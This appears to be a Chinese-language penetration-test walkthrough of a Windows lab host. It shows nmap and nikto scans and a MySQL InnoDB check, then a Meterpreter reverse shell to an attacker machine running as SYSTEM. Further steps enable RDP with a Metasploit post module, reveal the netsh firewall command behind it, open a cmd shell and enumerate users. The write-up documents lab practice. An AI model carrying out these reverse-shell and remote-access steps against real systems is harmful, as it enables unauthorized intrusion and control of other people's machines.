$ sudo nmap -T4 -n -sS -sV -O 192.168.3.72 Nmap scan report for 192.168.3.72 Host is up (0.00076s latency). Not shown: 974 closed ports PORT STATE SERVICE VERSION 7/tcp open echo 9/tcp open discard? 13/tcp open daytime? 17/tcp open qotd Windows qotd (English) 19/tcp open chargen 21/tcp open ftp FileZilla ftpd 42/tcp open tcpwrapped 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 999/tcp open http Apache httpd 2.4.33 ((Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9 mod_jk/1.2.40) 1801/tcp open msmq? 2107/tcp open msrpc Microsoft Windows RPC 2383/tcp open ms-olap4? 3306/tcp open mysql MySQL 5.5.19 3389/tcp open ms-wbt-server? 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 8082/tcp open http Microsoft IIS httpd 7.5 49152/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port13-TCP:V=7.70%I=7%D=8/13%Time=5D53656C%P=x86_64-unknown-linux-gnu%r SF:(NULL,12,"23:35:37\x202019/8/13\n")%r(NCP,12,"23:35:37\x202019/8/13\n"); Device type: general purpose Running: Microsoft Windows Vista|2008|7 OS CPE: cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_vista::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_7 OS details: Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
$ nikto -host http://192.168.3.72:999/ - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.3.72 + Target Hostname: 192.168.3.72 + Target Port: 999 + Start Time: 2019-08-13 23:55:43 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.4.33 (Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9 mod_jk/1.2.40 + Retrieved x-powered-by header: PHP/5.3.29 + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + Uncommon header 'x-ob_mode' found, with contents: 0 + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x1a 0x4e4e67f49da00 + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details. + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3092: /setup/: This might be interesting... + OSVDB-3092: /README: README file found. + OSVDB-3233: /icons/README: Apache default file found. + 8348 requests: 0 error(s) and 17 item(s) reported on remote host + End Time: 2019-08-13 23:56:50 (GMT8) (67 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
重点在 “**+ OSVDB-3092: /setup/: This might be interesting…**“，这一条。
但是很不幸，MySQL 中未开启 InnoDB 引擎。而开启方法只能是编辑系统中 MySQL 的配置文件 my.cnf。
1 2 3 4 5 6 7 8
MySQL [(none)]> show variables like "%innodb%"; +-----------------------+----------+ | Variable_name | Value | +-----------------------+----------+ | have_innodb | DISABLED | | ignore_builtin_innodb | OFF | +-----------------------+----------+ 2 rows in set (0.002 sec)
[*] Started reverse TCP handler on 192.168.5.23:4444 [*] Sending stage (206403 bytes) to 192.168.3.72 [*] Meterpreter session 1 opened (192.168.5.23:4444 -> 192.168.3.72:55580) at 2019-08-14 17:59:57 +0800
meterpreter >
getuid 获取当前用户，还是 SYSTEM 。
1 2
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
开启远程 RDP 连接。
1 2 3 4 5 6 7
meterpreter > run post/windows/manage/enable_rdp [*] Enabling Remote Desktop [*] RDP is already enabled [*] Setting Terminal Services service startup mode [*] Terminal Services service is already set to auto [*] Opening port in local firewall if necessary [*] For cleanup execute Meterpreter resource file: ~/.msf4/loot/20190814180610_default_192.168.3.72_host.windows.cle_307378.txt
查看刚刚开启 RDP 执行的具体命令。
1 2
$ cat ~/.msf4/loot/20190814180610_default_192.168.3.72_host.windows.cle_307378.txt execute -H -f cmd.exe -a "/c 'netsh firewall set service type = remotedesktop mode = enable'"
进入 CMD 模式。
1 2 3 4 5 6
meterpreter > shell Process 7116 created. Channel 3 created. Microsoft Windows [版本 6.1.7600] 版权所有 (c) 2009 Microsoft Corporation。保留所有权利。 C:\Windows\System32>
查看当前所有用户。
1 2 3 4 5
C:\Windows\System32>net user \\ 的用户帐户 --------------------------------------------------------- Administrator Guest mysql MySQL_HWS www
